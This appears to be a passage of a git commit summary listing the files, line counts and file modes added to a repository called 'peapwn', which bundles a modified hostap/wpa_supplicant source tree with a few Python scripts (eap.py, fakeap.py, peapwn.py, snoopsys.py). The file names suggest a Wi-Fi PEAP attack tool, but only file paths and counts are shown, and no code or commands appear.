peapwn/mods/hostap/tests/hwsim/bss-3.conf | 11 + .../mods/hostap/tests/hwsim/bss-ht40-1.conf | 12 + .../mods/hostap/tests/hwsim/bss-ht40-2.conf | 12 + peapwn/mods/hostap/tests/hwsim/build.sh | 23 + .../mods/hostap/tests/hwsim/check_kernel.py | 31 + .../hostap/tests/hwsim/example-hostapd.config | 70 + .../tests/hwsim/example-wpa_supplicant.config | 111 + peapwn/mods/hostap/tests/hwsim/hostapd.py | 240 + peapwn/mods/hostap/tests/hwsim/hwsim_utils.py | 44 + .../hostap/tests/hwsim/multi-bss-acs.conf | 28 + peapwn/mods/hostap/tests/hwsim/multi-bss.conf | 21 + peapwn/mods/hostap/tests/hwsim/p2p0.conf | 3 + peapwn/mods/hostap/tests/hwsim/p2p1.conf | 3 + peapwn/mods/hostap/tests/hwsim/p2p2.conf | 3 + peapwn/mods/hostap/tests/hwsim/run-all.sh | 69 + peapwn/mods/hostap/tests/hwsim/run-tests.py | 393 + peapwn/mods/hostap/tests/hwsim/start.sh | 95 + peapwn/mods/hostap/tests/hwsim/stop.sh | 77 + peapwn/mods/hostap/tests/hwsim/test_ap_acs.py | 68 + .../hostap/tests/hwsim/test_ap_dynamic.py | 295 + peapwn/mods/hostap/tests/hwsim/test_ap_eap.py | 315 + peapwn/mods/hostap/tests/hwsim/test_ap_ft.py | 125 + .../mods/hostap/tests/hwsim/test_ap_hs20.py | 448 + peapwn/mods/hostap/tests/hwsim/test_ap_ht.py | 47 + peapwn/mods/hostap/tests/hwsim/test_ap_pmf.py | 118 + .../mods/hostap/tests/hwsim/test_ap_roam.py | 40 + .../mods/hostap/tests/hwsim/test_ap_tdls.py | 260 + peapwn/mods/hostap/tests/hwsim/test_ap_wps.py | 317 + peapwn/mods/hostap/tests/hwsim/test_dfs.py | 130 + peapwn/mods/hostap/tests/hwsim/test_gas.py | 197 + peapwn/mods/hostap/tests/hwsim/test_ibss.py | 106 + .../mods/hostap/tests/hwsim/test_nfc_wps.py | 174 + .../hostap/tests/hwsim/test_p2p_autogo.py | 211 + .../tests/hwsim/test_p2p_concurrency.py | 149 + .../hostap/tests/hwsim/test_p2p_discovery.py | 91 + .../hostap/tests/hwsim/test_p2p_grpform.py | 397 + .../hostap/tests/hwsim/test_p2p_invitation.py | 106 + .../hostap/tests/hwsim/test_p2p_persistent.py | 281 + .../hostap/tests/hwsim/test_p2p_service.py | 108 + peapwn/mods/hostap/tests/hwsim/test_sae.py | 65 + peapwn/mods/hostap/tests/hwsim/utils.py | 17 + peapwn/mods/hostap/tests/hwsim/vm/.gitignore | 1 + peapwn/mods/hostap/tests/hwsim/vm/README | 19 + peapwn/mods/hostap/tests/hwsim/vm/inside.sh | 75 + .../mods/hostap/tests/hwsim/vm/kernel-config | 1706 +++ peapwn/mods/hostap/tests/hwsim/vm/vm-run.sh | 54 + peapwn/mods/hostap/tests/hwsim/wlantest.py | 116 + .../mods/hostap/tests/hwsim/wpasupplicant.py | 631 + peapwn/mods/hostap/tests/test-aes.c | 582 + peapwn/mods/hostap/tests/test-asn1.c | 197 + peapwn/mods/hostap/tests/test-base64.c | 42 + peapwn/mods/hostap/tests/test-bitfield.c | 90 + peapwn/mods/hostap/tests/test-https.c | 228 + peapwn/mods/hostap/tests/test-list.c | 72 + peapwn/mods/hostap/tests/test-md4.c | 93 + peapwn/mods/hostap/tests/test-md5.c | 93 + peapwn/mods/hostap/tests/test-milenage.c | 817 ++ peapwn/mods/hostap/tests/test-ms_funcs.c | 114 + peapwn/mods/hostap/tests/test-printf.c | 83 + peapwn/mods/hostap/tests/test-rc4.c | 250 + peapwn/mods/hostap/tests/test-sha1.c | 440 + peapwn/mods/hostap/tests/test-sha256.c | 325 + peapwn/mods/hostap/tests/test-x509.c | 38 + peapwn/mods/hostap/tests/test-x509v3.c | 63 + peapwn/mods/hostap/tests/test_x509v3_nist.sh | 144 + peapwn/mods/hostap/tests/test_x509v3_nist2.sh | 165 + peapwn/mods/hostap/wpa_supplicant/.cproject | 57 + peapwn/mods/hostap/wpa_supplicant/.gitignore | 1 + peapwn/mods/hostap/wpa_supplicant/.project | 34 + peapwn/mods/hostap/wpa_supplicant/Android.mk | 1607 +++ peapwn/mods/hostap/wpa_supplicant/ChangeLog | 1703 +++ peapwn/mods/hostap/wpa_supplicant/Makefile | 1688 +++ peapwn/mods/hostap/wpa_supplicant/README | 985 ++ peapwn/mods/hostap/wpa_supplicant/README-HS20 | 503 + peapwn/mods/hostap/wpa_supplicant/README-P2P | 601 + peapwn/mods/hostap/wpa_supplicant/README-WPS | 411 + .../hostap/wpa_supplicant/README-Windows.txt | 299 + .../mods/hostap/wpa_supplicant/android.config | 538 + peapwn/mods/hostap/wpa_supplicant/ap.c | 1136 ++ peapwn/mods/hostap/wpa_supplicant/ap.h | 72 + peapwn/mods/hostap/wpa_supplicant/autoscan.c | 143 + peapwn/mods/hostap/wpa_supplicant/autoscan.h | 49 + .../wpa_supplicant/autoscan_exponential.c | 104 + .../hostap/wpa_supplicant/autoscan_periodic.c | 85 + peapwn/mods/hostap/wpa_supplicant/bgscan.c | 117 + peapwn/mods/hostap/wpa_supplicant/bgscan.h | 73 + .../mods/hostap/wpa_supplicant/bgscan_learn.c | 607 + .../hostap/wpa_supplicant/bgscan_simple.c | 283 + peapwn/mods/hostap/wpa_supplicant/blacklist.c | 141 + peapwn/mods/hostap/wpa_supplicant/blacklist.h | 24 + peapwn/mods/hostap/wpa_supplicant/bss.c | 1213 ++ peapwn/mods/hostap/wpa_supplicant/bss.h | 132 + peapwn/mods/hostap/wpa_supplicant/config.c | 3425 +++++ peapwn/mods/hostap/wpa_supplicant/config.h | 1031 ++ .../mods/hostap/wpa_supplicant/config_file.c | 1145 ++ .../mods/hostap/wpa_supplicant/config_none.c | 56 + .../mods/hostap/wpa_supplicant/config_ssid.h | 625 + .../hostap/wpa_supplicant/config_winreg.c | 1029 ++ .../mods/hostap/wpa_supplicant/ctrl_iface.c | 6279 +++++++++ .../mods/hostap/wpa_supplicant/ctrl_iface.h | 153 + .../wpa_supplicant/ctrl_iface_named_pipe.c | 829 ++ .../hostap/wpa_supplicant/ctrl_iface_udp.c | 590 + .../hostap/wpa_supplicant/ctrl_iface_unix.c | 1080 ++ .../hostap/wpa_supplicant/dbus/.gitignore | 1 + .../mods/hostap/wpa_supplicant/dbus/Makefile | 73 + .../dbus/dbus-wpa_supplicant.conf | 27 + .../hostap/wpa_supplicant/dbus/dbus_common.c | 388 + .../hostap/wpa_supplicant/dbus/dbus_common.h | 20 + .../wpa_supplicant/dbus/dbus_common_i.h | 28 + .../wpa_supplicant/dbus/dbus_dict_helpers.c | 1104 ++ .../wpa_supplicant/dbus/dbus_dict_helpers.h | 163 + .../hostap/wpa_supplicant/dbus/dbus_new.c | 3857 ++++++ .../hostap/wpa_supplicant/dbus/dbus_new.h | 514 + .../wpa_supplicant/dbus/dbus_new_handlers.c | 4127 ++++++ .../wpa_supplicant/dbus/dbus_new_handlers.h | 311 + .../dbus/dbus_new_handlers_p2p.c | 2440 ++++ .../dbus/dbus_new_handlers_p2p.h | 211 + .../dbus/dbus_new_handlers_wps.c | 391 + .../wpa_supplicant/dbus/dbus_new_helpers.c | 1061 ++ .../wpa_supplicant/dbus/dbus_new_helpers.h | 150 + .../wpa_supplicant/dbus/dbus_new_introspect.c | 279 + .../hostap/wpa_supplicant/dbus/dbus_old.c | 745 + .../hostap/wpa_supplicant/dbus/dbus_old.h | 137 + .../wpa_supplicant/dbus/dbus_old_handlers.c | 1466 ++ .../wpa_supplicant/dbus/dbus_old_handlers.h | 101 + .../dbus/dbus_old_handlers_wps.c | 157 + ...fi.epitest.hostap.WPASupplicant.service.in | 5 + .../dbus/fi.w1.wpa_supplicant1.service.in | 5 + peapwn/mods/hostap/wpa_supplicant/defconfig | 542 + .../wpa_supplicant/doc/docbook/.gitignore | 6 + .../wpa_supplicant/doc/docbook/Makefile | 27 + .../doc/docbook/wpa_background.sgml | 101 + .../wpa_supplicant/doc/docbook/wpa_cli.sgml | 339 + .../wpa_supplicant/doc/docbook/wpa_gui.sgml | 85 + .../doc/docbook/wpa_passphrase.sgml | 73 + .../wpa_supplicant/doc/docbook/wpa_priv.sgml | 148 + .../doc/docbook/wpa_supplicant.conf.sgml | 239 + .../doc/docbook/wpa_supplicant.sgml | 690 + peapwn/mods/hostap/wpa_supplicant/driver_i.h | 730 + .../hostap/wpa_supplicant/eap_proxy_dummy.mk | 0 .../mods/hostap/wpa_supplicant/eap_register.c | 254 + .../hostap/wpa_supplicant/eap_testing.txt | 392 + .../mods/hostap/wpa_supplicant/eapol-config | 9 + .../mods/hostap/wpa_supplicant/eapol_test.c | 1372 ++ peapwn/mods/hostap/wpa_supplicant/events.c | 3276 +++++ .../wpa_supplicant/examples/60_wpa_supplicant | 19 + .../examples/dbus-listen-preq.py | 62 + .../wpa_supplicant/examples/ieee8021x.conf | 13 + .../wpa_supplicant/examples/openCryptoki.conf | 41 + .../examples/p2p-action-udhcp.sh | 69 + .../wpa_supplicant/examples/p2p-action.sh | 83 + .../examples/p2p/p2p_connect.py | 299 + .../examples/p2p/p2p_disconnect.py | 169 + .../wpa_supplicant/examples/p2p/p2p_find.py | 192 + .../wpa_supplicant/examples/p2p/p2p_flush.py | 168 + .../examples/p2p/p2p_group_add.py | 222 + .../wpa_supplicant/examples/p2p/p2p_invite.py | 201 + .../wpa_supplicant/examples/p2p/p2p_listen.py | 182 + .../examples/p2p/p2p_stop_find.py | 174 + .../wpa_supplicant/examples/plaintext.conf | 8 + .../wpa_supplicant/examples/udhcpd-p2p.conf | 120 + .../hostap/wpa_supplicant/examples/wep.conf | 11 + .../wpa_supplicant/examples/wpa-psk-tkip.conf | 12 + .../examples/wpa2-eap-ccmp.conf | 15 + .../examples/wpas-dbus-new-getall.py | 59 + .../examples/wpas-dbus-new-signals.py | 203 + .../examples/wpas-dbus-new-wps.py | 80 + .../wpa_supplicant/examples/wpas-dbus-new.py | 149 + .../wpa_supplicant/examples/wpas-test.py | 91 + .../hostap/wpa_supplicant/examples/wps-ap-cli | 78 + .../hostap/wpa_supplicant/examples/wps-nfc.py | 441 + peapwn/mods/hostap/wpa_supplicant/gas_query.c | 613 + peapwn/mods/hostap/wpa_supplicant/gas_query.h | 59 + .../hostap/wpa_supplicant/hs20_supplicant.c | 214 + .../hostap/wpa_supplicant/hs20_supplicant.h | 22 + peapwn/mods/hostap/wpa_supplicant/ibss_rsn.c | 916 ++ peapwn/mods/hostap/wpa_supplicant/ibss_rsn.h | 64 + .../mods/hostap/wpa_supplicant/interworking.c | 2295 ++++ .../mods/hostap/wpa_supplicant/interworking.h | 32 + peapwn/mods/hostap/wpa_supplicant/main.c | 332 + peapwn/mods/hostap/wpa_supplicant/main_none.c | 40 + .../mods/hostap/wpa_supplicant/main_winmain.c | 78 + .../mods/hostap/wpa_supplicant/main_winsvc.c | 458 + .../mods/hostap/wpa_supplicant/nfc_pw_token.c | 83 + peapwn/mods/hostap/wpa_supplicant/nmake.mak | 240 + peapwn/mods/hostap/wpa_supplicant/notify.c | 643 + peapwn/mods/hostap/wpa_supplicant/notify.h | 131 + .../mods/hostap/wpa_supplicant/offchannel.c | 414 + .../mods/hostap/wpa_supplicant/offchannel.h | 35 + .../hostap/wpa_supplicant/p2p_supplicant.c | 6584 +++++++++ .../hostap/wpa_supplicant/p2p_supplicant.h | 183 + .../mods/hostap/wpa_supplicant/preauth_test.c | 363 + peapwn/mods/hostap/wpa_supplicant/scan.c | 1732 +++ peapwn/mods/hostap/wpa_supplicant/scan.h | 47 + peapwn/mods/hostap/wpa_supplicant/sme.c | 1300 ++ peapwn/mods/hostap/wpa_supplicant/sme.h | 113 + .../wpa_supplicant-nl80211.service.arg.in | 13 + .../wpa_supplicant-wired.service.arg.in | 13 + .../systemd/wpa_supplicant.service.arg.in | 13 + .../systemd/wpa_supplicant.service.in | 11 + .../hostap/wpa_supplicant/tests/link_test.c | 83 + .../tests/test_eap_sim_common.c | 47 + .../hostap/wpa_supplicant/tests/test_wpa.c | 373 + peapwn/mods/hostap/wpa_supplicant/todo.txt | 85 + .../hostap/wpa_supplicant/utils/log2pcap.py | 54 + .../vs2005/eapol_test/eapol_test.vcproj | 473 + .../vs2005/win_if_list/win_if_list.vcproj | 203 + .../vs2005/wpa_cli/wpa_cli.vcproj | 215 + .../wpa_passphrase/wpa_passphrase.vcproj | 236 + .../wpa_supplicant/vs2005/wpa_supplicant.sln | 52 + .../wpa_supplicant/wpa_supplicant.vcproj | 461 + .../vs2005/wpasvc/wpasvc.vcproj | 461 + .../mods/hostap/wpa_supplicant/wifi_display.c | 251 + .../mods/hostap/wpa_supplicant/wifi_display.h | 20 + .../hostap/wpa_supplicant/win_example.reg | 42 + .../mods/hostap/wpa_supplicant/win_if_list.c | 173 + peapwn/mods/hostap/wpa_supplicant/wnm_sta.c | 768 ++ peapwn/mods/hostap/wpa_supplicant/wnm_sta.h | 90 + peapwn/mods/hostap/wpa_supplicant/wpa_cli.c | 3837 ++++++ .../wpa_supplicant/wpa_gui-qt4/.gitignore | 4 + .../wpa_gui-qt4/addinterface.cpp | 239 + .../wpa_supplicant/wpa_gui-qt4/addinterface.h | 39 + .../wpa_gui-qt4/eventhistory.cpp | 124 + .../wpa_supplicant/wpa_gui-qt4/eventhistory.h | 57 + .../wpa_gui-qt4/eventhistory.ui | 61 + .../wpa_supplicant/wpa_gui-qt4/icons.qrc | 9 + .../wpa_supplicant/wpa_gui-qt4/icons/Makefile | 23 + .../wpa_supplicant/wpa_gui-qt4/icons/README | 74 + .../wpa_supplicant/wpa_gui-qt4/icons/ap.svg | 832 ++ .../wpa_gui-qt4/icons/group.svg | 616 + .../wpa_gui-qt4/icons/invitation.svg | 374 + .../wpa_gui-qt4/icons/laptop.svg | 1568 +++ .../wpa_gui-qt4/icons/wpa_gui.svg | 256 + .../wpa_supplicant/wpa_gui-qt4/icons_png.qrc | 9 + .../wpa_gui-qt4/lang/.gitignore | 1 + .../wpa_gui-qt4/lang/wpa_gui_de.ts | 1262 ++ .../wpa_supplicant/wpa_gui-qt4/main.cpp | 76 + .../wpa_gui-qt4/networkconfig.cpp | 852 ++ .../wpa_gui-qt4/networkconfig.h | 55 + .../wpa_gui-qt4/networkconfig.ui | 435 + .../wpa_supplicant/wpa_gui-qt4/peers.cpp | 1883 +++ .../hostap/wpa_supplicant/wpa_gui-qt4/peers.h | 90 + .../wpa_supplicant/wpa_gui-qt4/peers.ui | 40 + .../wpa_gui-qt4/scanresults.cpp | 140 + .../wpa_supplicant/wpa_gui-qt4/scanresults.h | 40 + .../wpa_supplicant/wpa_gui-qt4/scanresults.ui | 94 + .../wpa_supplicant/wpa_gui-qt4/signalbar.cpp | 58 + .../wpa_supplicant/wpa_gui-qt4/signalbar.h | 28 + .../wpa_gui-qt4/stringquery.cpp | 31 + .../wpa_supplicant/wpa_gui-qt4/stringquery.h | 28 + .../wpa_gui-qt4/userdatarequest.cpp | 94 + .../wpa_gui-qt4/userdatarequest.h | 40 + .../wpa_gui-qt4/userdatarequest.ui | 109 + .../wpa_gui-qt4/wpa_gui.desktop | 10 + .../wpa_supplicant/wpa_gui-qt4/wpa_gui.pro | 70 + .../wpa_supplicant/wpa_gui-qt4/wpagui.cpp | 1734 +++ .../wpa_supplicant/wpa_gui-qt4/wpagui.h | 144 + .../wpa_supplicant/wpa_gui-qt4/wpagui.ui | 524 + .../wpa_supplicant/wpa_gui-qt4/wpamsg.h | 35 + .../hostap/wpa_supplicant/wpa_passphrase.c | 67 + peapwn/mods/hostap/wpa_supplicant/wpa_priv.c | 1032 ++ .../hostap/wpa_supplicant/wpa_supplicant.c | 4195 ++++++ .../hostap/wpa_supplicant/wpa_supplicant.conf | 1258 ++ .../wpa_supplicant/wpa_supplicant_conf.mk | 34 + .../wpa_supplicant/wpa_supplicant_conf.sh | 16 + .../hostap/wpa_supplicant/wpa_supplicant_i.h | 889 ++ .../wpa_supplicant_template.conf | 6 + peapwn/mods/hostap/wpa_supplicant/wpas_glue.c | 928 ++ peapwn/mods/hostap/wpa_supplicant/wpas_glue.h | 25 + .../hostap/wpa_supplicant/wps_supplicant.c | 2485 ++++ .../hostap/wpa_supplicant/wps_supplicant.h | 148 + peapwn/src/eap.py | 47 + peapwn/src/fakeap.py | 257 + peapwn/src/peapwn.py | 309 + peapwn/src/snoopsys.py | 61 + 773 files changed, 354354 insertions(+) create mode 100644 peapwn/.gitignore create mode 100644 peapwn/.gitrepo create mode 100644 peapwn/LICENSE create mode 100644 peapwn/README.md create mode 100644 peapwn/mods/hostap/Android.mk create mode 100644 peapwn/mods/hostap/CONTRIBUTIONS create mode 100644 peapwn/mods/hostap/COPYING create mode 100644 peapwn/mods/hostap/README create mode 100755 peapwn/mods/hostap/build_release create mode 100644 peapwn/mods/hostap/src/Makefile create mode 100644 peapwn/mods/hostap/src/ap/Makefile create mode 100644 peapwn/mods/hostap/src/ap/accounting.c create mode 100644 peapwn/mods/hostap/src/ap/accounting.h create mode 100644 peapwn/mods/hostap/src/ap/acs.c create mode 100644 peapwn/mods/hostap/src/ap/acs.h create mode 100644 peapwn/mods/hostap/src/ap/ap_config.c create mode 100644 peapwn/mods/hostap/src/ap/ap_config.h create mode 100644 peapwn/mods/hostap/src/ap/ap_drv_ops.c create mode 100644 peapwn/mods/hostap/src/ap/ap_drv_ops.h create mode 100644 peapwn/mods/hostap/src/ap/ap_list.c create mode 100644 peapwn/mods/hostap/src/ap/ap_list.h create mode 100644 peapwn/mods/hostap/src/ap/ap_mlme.c create mode 100644 peapwn/mods/hostap/src/ap/ap_mlme.h create mode 100644 peapwn/mods/hostap/src/ap/authsrv.c create mode 100644 peapwn/mods/hostap/src/ap/authsrv.h create mode 100644 peapwn/mods/hostap/src/ap/beacon.c create mode 100644 peapwn/mods/hostap/src/ap/beacon.h create mode 100644 peapwn/mods/hostap/src/ap/ctrl_iface_ap.c create mode 100644 peapwn/mods/hostap/src/ap/ctrl_iface_ap.h create mode 100644 peapwn/mods/hostap/src/ap/dfs.c create mode 100644 peapwn/mods/hostap/src/ap/dfs.h create mode 100644 peapwn/mods/hostap/src/ap/drv_callbacks.c create mode 100644 peapwn/mods/hostap/src/ap/eap_user_db.c create mode 100644 peapwn/mods/hostap/src/ap/gas_serv.c create mode 100644 peapwn/mods/hostap/src/ap/gas_serv.h create mode 100644 peapwn/mods/hostap/src/ap/hostapd.c create mode 100644 peapwn/mods/hostap/src/ap/hostapd.h create mode 100644 peapwn/mods/hostap/src/ap/hs20.c create mode 100644 peapwn/mods/hostap/src/ap/hs20.h create mode 100644 peapwn/mods/hostap/src/ap/hw_features.c create mode 100644 peapwn/mods/hostap/src/ap/hw_features.h create mode 100644 peapwn/mods/hostap/src/ap/iapp.c create mode 100644 peapwn/mods/hostap/src/ap/iapp.h create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11.h create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11_auth.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11_auth.h create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11_ht.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11_shared.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_11_vht.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_1x.c create mode 100644 peapwn/mods/hostap/src/ap/ieee802_1x.h create mode 100644 peapwn/mods/hostap/src/ap/p2p_hostapd.c create mode 100644 peapwn/mods/hostap/src/ap/p2p_hostapd.h create mode 100644 peapwn/mods/hostap/src/ap/peerkey_auth.c create mode 100644 peapwn/mods/hostap/src/ap/pmksa_cache_auth.c create mode 100644 peapwn/mods/hostap/src/ap/pmksa_cache_auth.h create mode 100644 peapwn/mods/hostap/src/ap/preauth_auth.c create mode 100644 peapwn/mods/hostap/src/ap/preauth_auth.h create mode 100644 peapwn/mods/hostap/src/ap/sta_info.c create mode 100644 peapwn/mods/hostap/src/ap/sta_info.h create mode 100644 peapwn/mods/hostap/src/ap/tkip_countermeasures.c create mode 100644 peapwn/mods/hostap/src/ap/tkip_countermeasures.h create mode 100644 peapwn/mods/hostap/src/ap/utils.c create mode 100644 peapwn/mods/hostap/src/ap/vlan_init.c create mode 100644 peapwn/mods/hostap/src/ap/vlan_init.h create mode 100644 peapwn/mods/hostap/src/ap/vlan_util.c create mode 100644 peapwn/mods/hostap/src/ap/vlan_util.h create mode 100644 peapwn/mods/hostap/src/ap/wmm.c create mode 100644 peapwn/mods/hostap/src/ap/wmm.h create mode 100644 peapwn/mods/hostap/src/ap/wnm_ap.c create mode 100644 peapwn/mods/hostap/src/ap/wnm_ap.h create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth.c create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth.h create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_ft.c create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_glue.c create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_glue.h create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_i.h create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_ie.c create mode 100644 peapwn/mods/hostap/src/ap/wpa_auth_ie.h create mode 100644 peapwn/mods/hostap/src/ap/wps_hostapd.c create mode 100644 peapwn/mods/hostap/src/ap/wps_hostapd.h create mode 100644 peapwn/mods/hostap/src/common/Makefile create mode 100644 peapwn/mods/hostap/src/common/defs.h create mode 100644 peapwn/mods/hostap/src/common/eapol_common.h create mode 100644 peapwn/mods/hostap/src/common/gas.c create mode 100644 peapwn/mods/hostap/src/common/gas.h create mode 100644 peapwn/mods/hostap/src/common/ieee802_11_common.c create mode 100644 peapwn/mods/hostap/src/common/ieee802_11_common.h create mode 100644 peapwn/mods/hostap/src/common/ieee802_11_defs.h create mode 100644 peapwn/mods/hostap/src/common/privsep_commands.h create mode 100644 peapwn/mods/hostap/src/common/sae.c create mode 100644 peapwn/mods/hostap/src/common/sae.h create mode 100644 peapwn/mods/hostap/src/common/version.h create mode 100644 peapwn/mods/hostap/src/common/wpa_common.c create mode 100644 peapwn/mods/hostap/src/common/wpa_common.h create mode 100644 peapwn/mods/hostap/src/common/wpa_ctrl.c create mode 100644 peapwn/mods/hostap/src/common/wpa_ctrl.h create mode 100644 peapwn/mods/hostap/src/crypto/.gitignore create mode 100644 peapwn/mods/hostap/src/crypto/Makefile create mode 100644 peapwn/mods/hostap/src/crypto/aes-cbc.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-ccm.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-ctr.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-eax.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-encblock.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-gcm.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-internal-dec.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-internal-enc.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-omac1.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-unwrap.c create mode 100644 peapwn/mods/hostap/src/crypto/aes-wrap.c create mode 100644 peapwn/mods/hostap/src/crypto/aes.h create mode 100644 peapwn/mods/hostap/src/crypto/aes_i.h create mode 100644 peapwn/mods/hostap/src/crypto/aes_wrap.h create mode 100644 peapwn/mods/hostap/src/crypto/crypto.h create mode 100644 peapwn/mods/hostap/src/crypto/crypto_cryptoapi.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_gnutls.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_internal-cipher.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_internal-modexp.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_internal-rsa.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_internal.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_libtomcrypt.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_none.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_nss.c create mode 100644 peapwn/mods/hostap/src/crypto/crypto_openssl.c create mode 100644 peapwn/mods/hostap/src/crypto/des-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/des_i.h create mode 100644 peapwn/mods/hostap/src/crypto/dh_group5.c create mode 100644 peapwn/mods/hostap/src/crypto/dh_group5.h create mode 100644 peapwn/mods/hostap/src/crypto/dh_groups.c create mode 100644 peapwn/mods/hostap/src/crypto/dh_groups.h create mode 100644 peapwn/mods/hostap/src/crypto/fips_prf_cryptoapi.c create mode 100644 peapwn/mods/hostap/src/crypto/fips_prf_gnutls.c create mode 100644 peapwn/mods/hostap/src/crypto/fips_prf_internal.c create mode 100644 peapwn/mods/hostap/src/crypto/fips_prf_nss.c create mode 100644 peapwn/mods/hostap/src/crypto/fips_prf_openssl.c create mode 100644 peapwn/mods/hostap/src/crypto/md4-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/md5-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/md5.c create mode 100644 peapwn/mods/hostap/src/crypto/md5.h create mode 100644 peapwn/mods/hostap/src/crypto/md5_i.h create mode 100644 peapwn/mods/hostap/src/crypto/milenage.c create mode 100644 peapwn/mods/hostap/src/crypto/milenage.h create mode 100644 peapwn/mods/hostap/src/crypto/ms_funcs.c create mode 100644 peapwn/mods/hostap/src/crypto/ms_funcs.h create mode 100644 peapwn/mods/hostap/src/crypto/random.c create mode 100644 peapwn/mods/hostap/src/crypto/random.h create mode 100644 peapwn/mods/hostap/src/crypto/rc4.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1-pbkdf2.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1-prf.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1-tlsprf.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1-tprf.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1.c create mode 100644 peapwn/mods/hostap/src/crypto/sha1.h create mode 100644 peapwn/mods/hostap/src/crypto/sha1_i.h create mode 100644 peapwn/mods/hostap/src/crypto/sha256-internal.c create mode 100644 peapwn/mods/hostap/src/crypto/sha256-prf.c create mode 100644 peapwn/mods/hostap/src/crypto/sha256-tlsprf.c create mode 100644 peapwn/mods/hostap/src/crypto/sha256.c create mode 100644 peapwn/mods/hostap/src/crypto/sha256.h create mode 100644 peapwn/mods/hostap/src/crypto/sha256_i.h create mode 100644 peapwn/mods/hostap/src/crypto/tls.h create mode 100644 peapwn/mods/hostap/src/crypto/tls_gnutls.c create mode 100644 peapwn/mods/hostap/src/crypto/tls_internal.c create mode 100644 peapwn/mods/hostap/src/crypto/tls_none.c create mode 100644 peapwn/mods/hostap/src/crypto/tls_nss.c create mode 100644 peapwn/mods/hostap/src/crypto/tls_openssl.c create mode 100644 peapwn/mods/hostap/src/crypto/tls_schannel.c create mode 100644 peapwn/mods/hostap/src/drivers/.gitignore create mode 100644 peapwn/mods/hostap/src/drivers/Makefile create mode 100644 peapwn/mods/hostap/src/drivers/android_drv.h create mode 100644 peapwn/mods/hostap/src/drivers/driver.h create mode 100644 peapwn/mods/hostap/src/drivers/driver_atheros.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_bsd.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_common.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_hostap.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_hostap.h create mode 100644 peapwn/mods/hostap/src/drivers/driver_madwifi.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_ndis.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_ndis.h create mode 100644 peapwn/mods/hostap/src/drivers/driver_ndis_.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_nl80211.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_none.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_openbsd.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_privsep.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_roboswitch.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_test.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_wext.c create mode 100644 peapwn/mods/hostap/src/drivers/driver_wext.h create mode 100644 peapwn/mods/hostap/src/drivers/driver_wired.c create mode 100644 peapwn/mods/hostap/src/drivers/drivers.c create mode 100644 peapwn/mods/hostap/src/drivers/drivers.mak create mode 100644 peapwn/mods/hostap/src/drivers/drivers.mk create mode 100644 peapwn/mods/hostap/src/drivers/linux_ioctl.c create mode 100644 peapwn/mods/hostap/src/drivers/linux_ioctl.h create mode 100644 peapwn/mods/hostap/src/drivers/linux_wext.h create mode 100644 peapwn/mods/hostap/src/drivers/ndis_events.c create mode 100644 peapwn/mods/hostap/src/drivers/netlink.c create mode 100644 peapwn/mods/hostap/src/drivers/netlink.h create mode 100644 peapwn/mods/hostap/src/drivers/nl80211_copy.h create mode 100644 peapwn/mods/hostap/src/drivers/priv_netlink.h create mode 100644 peapwn/mods/hostap/src/drivers/rfkill.c create mode 100644 peapwn/mods/hostap/src/drivers/rfkill.h create mode 100644 peapwn/mods/hostap/src/eap_common/Makefile create mode 100644 peapwn/mods/hostap/src/eap_common/chap.c create mode 100644 peapwn/mods/hostap/src/eap_common/chap.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_common.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_defs.h create mode 100644 peapwn/mods/hostap/src/eap_common/eap_eke_common.c create mode 100644 peapwn/mods/hostap/src/eap_common/eap_eke_common.h create 